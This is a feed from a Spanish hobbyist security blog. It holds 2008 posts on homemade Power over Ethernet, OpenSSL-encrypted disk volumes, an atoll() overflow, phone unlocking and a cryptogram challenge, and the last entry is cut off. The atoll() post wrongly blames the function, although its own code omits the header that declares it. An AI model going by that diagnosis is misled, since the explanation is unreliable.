<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5064908217201828351</id><updated>2012-02-16T20:19:30.881-08:00</updated><category term='Redes'/><category term='Varios'/><category term='Criptoanálisis'/><category term='Factorización'/><category term='Seguridad Física'/><category term='Noticias'/><category term='Retos'/><category term='Enigmas'/><category term='Criptografía'/><category term='Análisis forense'/><category term='Programación segura'/><title type='text'>h4ck1t</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>53</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-7224805585817805059</id><published>2008-11-18T22:00:00.000-08:00</published><updated>2008-12-04T01:50:47.045-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticias'/><title type='text'>hack1t se traslada</title><content type='html'>A partir de ahora la nueva dirección del blog es:&lt;br /&gt;&lt;a href="http://draft.blogger.com/goog_1228383957034"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://dlerch.blogspot.com/"&gt;http://dlerch.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hack1t continuará online de momento, pero no se añadirán nuevas entradas.&lt;br /&gt;&lt;br /&gt;Disculpad las molestias.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-7224805585817805059?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/7224805585817805059/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=7224805585817805059' title='14 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7224805585817805059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7224805585817805059'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/11/el-ataque-rho-de-pollard.html' title='hack1t se traslada'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-1360235167562905391</id><published>2008-11-16T03:05:00.000-08:00</published><updated>2008-12-04T01:28:25.248-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Física'/><title type='text'>Power Over Ethernet Casero</title><content type='html'>&lt;div style="text-align: justify;"&gt;Existe un &lt;a href="http://es.wikipedia.org/wiki/PoE"&gt;estándar&lt;/a&gt; que define la forma de usar cableado de red que incluye alimentación elétrica. Aunque actualmente no resulta sencillo encontrar dispositivos que lo implementen. Por este motivo dedico un post a realizar una implementación casera. Yo lo he usado con éxito en instalaciones de camaras web.&lt;br /&gt;&lt;br /&gt;Si utilizamos para el cableado la norma &lt;a href="http://es.wikipedia.org/wiki/TIA-568B"&gt;568B&lt;/a&gt; el esquema de colores queda como sigue:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-family: courier new;"&gt;PIN    COLOR              TIPO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;1      Blanco/Naranja     TX D1+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;2      Naranja            TX D1-&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;3      Blanco/Verde       RX D2+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;4      Azul               Libre&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;5      Blanco/Azul        Libre&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;6      Verde              RX D2-&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;7      Blanco/Marron      Libre&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;8      Marron             Libre&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;La idea consiste en usar alguno de los pares libres para transmitir el voltaje necesario para la camara. Por ejemplo, en mis instalaciones de camaras web (uso cámaras Axis 206 que necesitan 5V y unos 500mA cada una) no hay ningún problema de interferencias, pero con  más de 50V  podríamos tener sorpresas.&lt;br /&gt;&lt;br /&gt;Como he indicado en el listado anterior, los pares libres son el Blanco/Azul - Azul y el Banco/Marrón - marrón. Se trata, simplemente, de usar uno de esos pares para la alimentación del dispositivo.&lt;br /&gt;En principio, resulta más sencillo crimpar el RJ45 con todos los cables y despues cortar el par que nos interesa para la alimentación. Aunque con un poco de práctica no resulta complicado crimpar solo los cables necesarios, y la instalación siempre queda más 'mona'.&lt;br /&gt;&lt;br /&gt;Bueno, aquí queda el código de colores. A ver quien nos cuenta sus experiencias!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-1360235167562905391?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/1360235167562905391/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=1360235167562905391' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1360235167562905391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1360235167562905391'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/11/power-over-ethernet-casero.html' title='Power Over Ethernet Casero'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-1957097648973298975</id><published>2008-11-09T05:45:00.000-08:00</published><updated>2008-12-04T01:28:25.262-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Volúmenes cifrados con OpenSSL</title><content type='html'>&lt;div style="text-align: justify;"&gt;Cada vez hay más productos que se venden como  'criptografía fàcil' para todo tipo de usuarios. Estos te permiten montar un volumen de datos de forma realmente sencilla y cifrarlos con criptografía fuerte. Pero no es el propósito de este artículo repasar ni estudiar dichos productos. Aquí, siguiendo la  folosofía del blog,  lo que haremos es crear un &lt;span style="font-style: italic;"&gt;sistema propio&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Usaremos la herramienta &lt;a href="http://www.openssl.org"&gt;openssl&lt;/a&gt; que nos permitirá lidiar con el cifrado y algunos comandos unix para el manejo del volumen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Creando un nuevo volumen&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para crear un volumen usaremos la herramienta 'dd' que nos permitirá crear un archivo vacío de cierto tamaño. Como ejemplo creamos un volumen de 100MB.&lt;br /&gt;&lt;br /&gt;$ dd if=/dev/zero of=volume bs=1M count=100&lt;br /&gt;&lt;br /&gt;A continuación necesitaremos crear el sistema de ficheros. Por ejemplo, ext3:&lt;br /&gt;&lt;br /&gt;$ mkfs.ext3 volume&lt;br /&gt;&lt;br /&gt;y finalmente cifraremos con blowfish. En este paso openssl nos pedirá la contraseña con la que queremos cifrar el sistema.&lt;br /&gt;&lt;br /&gt;$ openssl enc -blowfish -in volume -out volume.ciph&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Abrir el volumen&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para abrir el volumen solo tendremos que descifrar-lo con&lt;br /&gt;&lt;br /&gt;$ openssl enc -blowfish -d -in volume.ciph -out volume&lt;br /&gt;&lt;br /&gt;paso en el que se nos pedirá la contraseña de cifrado. A continuación, para acceder al volumen, lo montaremos.&lt;br /&gt;&lt;br /&gt;$ mount volume /mnt -o loop&lt;br /&gt;&lt;br /&gt;De esta manera, todo lo que guardemos en /mnt quedará almacenado en nuestro volumen de cifrado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cerrar el volumen&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una vez hemos terminado de trabajar con nuestro volumen de datos procedemos a cerrarlo y dejarlo cifrado hasta la proxima vez.&lt;br /&gt;&lt;br /&gt;Para tal proposito, desmontaremos el volumen:&lt;br /&gt;&lt;br /&gt;$ umount -l /mnt&lt;br /&gt;&lt;br /&gt;lo cifraremos&lt;br /&gt;&lt;br /&gt;$ openssl enc -blowfish -in volume -out volume.ciph&lt;br /&gt;&lt;br /&gt;y borraremos la copia sin cifrar&lt;br /&gt;&lt;br /&gt;$ rm -f volume&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comentarios finales&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hemos visto como, de forma muy sencilla, y sin  recurrir a nada más que los comandos habituales de cualquier sistema unix, podemos tener nuestro propio sistema de volumenes cifrados.&lt;br /&gt;&lt;br /&gt;Lógicamente, se le pueden añadir muchas mejoras, como automatizar los comandos con sencillos scripts del estilo create_volume.sh, open_volume.sh, etc o añadir seguridad al sistema, por ejemplo sustituyendo 'rm' por una herramienta de borrado seguro como 'shred'.&lt;br /&gt;&lt;br /&gt;En este caso, sustituir&lt;br /&gt;&lt;br /&gt;$ rm -f volume&lt;br /&gt;&lt;br /&gt;por&lt;br /&gt;&lt;br /&gt;$ shred volume&lt;br /&gt;&lt;br /&gt;aunque el tiempo autmentará considerablemente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-1957097648973298975?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/1957097648973298975/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=1957097648973298975' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1957097648973298975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1957097648973298975'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/11/volmenes-cifrados-con-openssl.html' title='Volúmenes cifrados con OpenSSL'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5608955332967155373</id><published>2008-10-06T06:51:00.000-07:00</published><updated>2008-12-04T01:28:25.220-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>¿Qué pasa con atoll()?</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;Como programador de sistemas UNIX a veces me encuentro con algunas cosas curiosas con las APIs. Hoy, sin ir mas lejos, me he vuelto loco intentando hacer funcionar atoll().&lt;br /&gt;&lt;br /&gt;En una parte de un viejo programa, se manejaba un identificador de menos de 32 bits. Ese identificador, que provenía de una máquina Cisco en formato cadena, estaba declarado como 'int' y se transformaba mediante atoi().&lt;br /&gt;&lt;br /&gt;Por necesidades ligadas al crecimiento de la empresa, ahora el identificador debía poder almacenar  hasta 56 bits.&lt;br /&gt;&lt;br /&gt;En pocos segundos tenía el programa funcionando con un identificador declarado como 'long', pero ooops! no funcionaba. De hecho, se comportaba  como un 'int'.&lt;br /&gt;&lt;br /&gt;El sistema, un CentOS 5.2, el compilador, gcc 4.1.2, sin problemas conocidos. Así que me dediqué  a hacer  algunas pruebas:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;$ cat test1.c&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  /* 2^31 = 2147483648 */&lt;br /&gt;&lt;br /&gt;  char *str="2147483648";&lt;br /&gt;  long long i;&lt;br /&gt;&lt;br /&gt;  i = atoll(str);&lt;br /&gt;&lt;br /&gt;  printf("%ld\n", i);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;$ gcc test1.c&lt;br /&gt;$ ./a.out&lt;br /&gt;-2147483648&lt;br /&gt;&lt;br /&gt;Overflow, exactamente igual que un 'int'.&lt;br /&gt;Me dirijo al man de atoll() y me encuentro con esto:&lt;br /&gt;&lt;/stdio.h&gt;&lt;blockquote&gt;"The atol() and atoll() functions behave the same as atoi()"&lt;/blockquote&gt;&lt;br /&gt;y efectivamente. La culpa es de la función de conversión, pues con una función my_atoll() personalizada, no existe tal problema:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ cat test2.c&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;#includes&amp;lt;stdio.h&amp;gt;&lt;br /&gt;long long my_atoll(char *str)&lt;br /&gt;{&lt;br /&gt;   long long res;&lt;br /&gt;&lt;br /&gt;         res = 0;&lt;br /&gt;   for (; *str; str++)&lt;br /&gt;                 res = 10*res + (*str - '0');&lt;br /&gt;&lt;br /&gt;         return res;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;         /* 2^31 = 2147483648 */&lt;br /&gt;&lt;br /&gt;         char *str="2147483648";&lt;br /&gt;         long long i;&lt;br /&gt;&lt;br /&gt;   i =my_atoll(str);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   printf("%lld\n", i);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;$ gcc test2.c&lt;br /&gt;$ ./a.out&lt;br /&gt;2147483648&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sorprendente ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/stdio.h&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5608955332967155373?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5608955332967155373/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5608955332967155373' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5608955332967155373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5608955332967155373'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/10/qu-pasa-con-atoll.html' title='¿Qué pasa con atoll()?'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-8937821149494705221</id><published>2008-09-22T01:25:00.000-07:00</published><updated>2008-12-04T01:28:25.280-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticias'/><title type='text'>Linus Torvalds y OpenBSD</title><content type='html'>Recojo otra de las lindezas de Linus. Es que es para coleccionarlas ...&lt;br /&gt;ref: &lt;a href="http://article.gmane.org/gmane.linux.kernel/706950"&gt;http://article.gmane.org/gmane.linux.kernel/706950&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;From: Linus Torvalds  linux-foundation.org&gt;&lt;br /&gt;Subject: Re: [stable] Linux 2.6.25.10&lt;br /&gt;Newsgroups: gmane.linux.kernel&lt;br /&gt;Date: 2008-07-15 16:13:03 GMT  (9 weeks, 5 days, 16 hours and 5 minutes ago)&lt;br /&gt;On Tue, 15 Jul 2008, Linus Torvalds wrote:&lt;br /&gt;&gt;&lt;br /&gt;&gt; So as far as I'm concerned, "disclosing" is the fixing of the bug. It's&lt;br /&gt;&gt; the "look at the source" approach.&lt;br /&gt;&lt;br /&gt;Btw, and you may not like this, since you are so focused on security, one&lt;br /&gt;reason I refuse to bother with the whole security circus is that I think&lt;br /&gt;it glorifies - and thus encourages - the wrong behavior.&lt;br /&gt;&lt;br /&gt;It makes "heroes" out of security people, as if the people who don't just&lt;br /&gt;fix normal bugs aren't as important.&lt;br /&gt;&lt;br /&gt;In fact, all the boring normal bugs are _way_ more important, just because&lt;br /&gt;there's a lot more of them. I don't think some spectacular security hole&lt;br /&gt;should be glorified or cared about as being any more "special" than a&lt;br /&gt;random spectacular crash due to bad locking.&lt;br /&gt;&lt;br /&gt;Security people are often the black-and-white kind of people that I can't&lt;br /&gt;stand. I think the OpenBSD crowd is a bunch of masturbating monkeys, in&lt;br /&gt;that they make such a big deal about concentrating on security to the&lt;br /&gt;point where they pretty much admit that nothing else matters to them.&lt;br /&gt;&lt;br /&gt;To me, security is important. But it's no less important than everything&lt;br /&gt;*else* that is also important!&lt;br /&gt;&lt;br /&gt;Linus&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;pre&gt;&lt;span style="font-family: courier new;font-size:85%;" &gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-8937821149494705221?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/8937821149494705221/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=8937821149494705221' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8937821149494705221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8937821149494705221'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/09/linus-torvalds-y-openbsd.html' title='Linus Torvalds y OpenBSD'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-8311634807183197966</id><published>2008-09-14T00:47:00.000-07:00</published><updated>2008-12-04T01:28:25.293-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Liberar la HTC Touch</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Recientemente me he visto en la obligación de liberar mi HTC Touch. Es sencillo y útil, así que, aunque existen muchos tutoriales en la red, dejo aquí los pasos a sequir.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Descargar y ejecutar &lt;a href="http://www.todosmartphone.com/todosmartphone-down.php?f=4&amp;amp;PHPSESSID=7f9ea5af7cc66f2c2602793c5b935e3d"&gt;Cert_SPCS.cab&lt;/a&gt; en la PDA.&lt;/li&gt;&lt;li&gt;Descargar y ejecutar &lt;a href="http://www.todosmartphone.com/todosmartphone-down.php?f=5&amp;amp;PHPSESSID=7f9ea5af7cc66f2c2602793c5b935e3d"&gt;EnableRapi.cab&lt;/a&gt; en la PDA.&lt;/li&gt;&lt;li&gt;Descargar &lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;&lt;a href="http://www.todosmartphone.com/todosmartphone-down.php?f=6&amp;amp;PHPSESSID=7f9ea5af7cc66f2c2602793c5b935e3d"&gt;Touch_Unlock.exe&lt;/a&gt; en el PC.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;Conectar la HTC con el PC mediante ActiveSync (USB).&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;Ejecutar el &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;Touch_Unlock.exe, el cual generará un archivo unlock_code.txt.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;Apagar la HTC Touch, introducir la SIM de otro operador e iniciar.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;Solicitará el pin de la nueva SIM, introducirlo.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;Solicitará un código de red, introducir los primeros 8 dígitos de &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;unlock_code.txt.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;La HTC Touch debería estar desbloqueada.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estas cosas no funcionan siempre. así que en caso de no poder desbloquear el móvil en dos o tres intentos, mejor no continuar.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:Verdana,Arial,Helvetica,sans-serif;"&gt;&lt;span style=";font-family:Georgia,Times New Roman,Times,serif;font-size:small;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-8311634807183197966?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/8311634807183197966/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=8311634807183197966' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8311634807183197966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8311634807183197966'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/09/liberar-la-htc-touch.html' title='Liberar la HTC Touch'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-2705086747116423145</id><published>2008-09-07T01:45:00.000-07:00</published><updated>2008-12-04T01:28:25.307-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Retos'/><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>El Criptograma del 2008</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;blockquote&gt;Actualización:&lt;br /&gt;El criptograma se resiste, así que pasa de ser "El criptograma del verano" a ser "El criptograma del año". Lo dejaré hasta enero y si nadie lo consigue, pondré la solución. Aunque tengo fe en vosotros ...&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Viendo que los criptogramas semanales duran bien poco, he decidido poner un reto un poco más complejo para que os podáis estrujar las neuronas durante las aburridas tardes de verano.&lt;br /&gt;&lt;br /&gt;En linea con los criptogramas anteriores, se trata de un sistema que en su momento fué ampliamente utilizado.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;ADZMO YHADG TIYMM ZCAUG CZYJA DYJTG LKSKM DKOZJ&lt;br /&gt;OKEIG JHKAC EZSGQ HYZOG EZMVG HAZSG MYJOZ MNJEG&lt;br /&gt;SZENH GHEIZ JHKDG COMKS ZCCAB IYFAJ GSZMY JOGMN&lt;br /&gt;JZEON FNHGH CNACO ZEYME GHADY JABNT KVZHY VGEAM&lt;br /&gt;DYEMA YMPIA YCOZD ARKCC NYCOG DARKC ZSGMY JOZMP&lt;br /&gt;IACYA COGEY MEZSK JAMEY UKCSG MZGOM ZAMGD YJABN&lt;br /&gt;TKTKD SYZMG DAJYB NTKEI ZJHKA COGHY CKMHA JZHKS&lt;br /&gt;MYSGM ZMCAE KJOMG YDEIZ JHKAC OGCYT IMKAJ OKHZC&lt;br /&gt;SGMOY CAFNO ZMDYH IMGJO AIJON YBSKE IZJHK ACBGC&lt;br /&gt;XIYMO ACNOI KSKJY JOAON YJAIJ OYBSA MZBYJ OKEKD&lt;br /&gt;AMNEK NJOYJ OGNMM NOZMD ACNYC GMMKT ZJOAO MGOZH&lt;br /&gt;YXKBA JOGMC IYTKO NCBKC NDZCO MKSGC AJYBN TZCCA&lt;br /&gt;VGDDZ JUNYJ SMASG MZHGC OMZCI JGMYK MTZJN QGENK&lt;br /&gt;JNJOA JOZHY CKMHA JGMDZ CCNYC OGJIJ NHZCC NABUM&lt;br /&gt;GDZHN CYJCN KJAJO MYCIC XNDGC ZOGEZ GDAJY BNTKE&lt;br /&gt;IZJHK JKACO GSMYS ZMGHK WZSGM AEYEI ZJHKJ KOAYC&lt;br /&gt;SAMGY COZCC KJDGC EDZFA CHYDG FNEOK MNZSG MZADY&lt;br /&gt;COMGO ATZCI JOQIY DGMOA HYDZT IAMMG            &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Feliz criptroanálisis.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 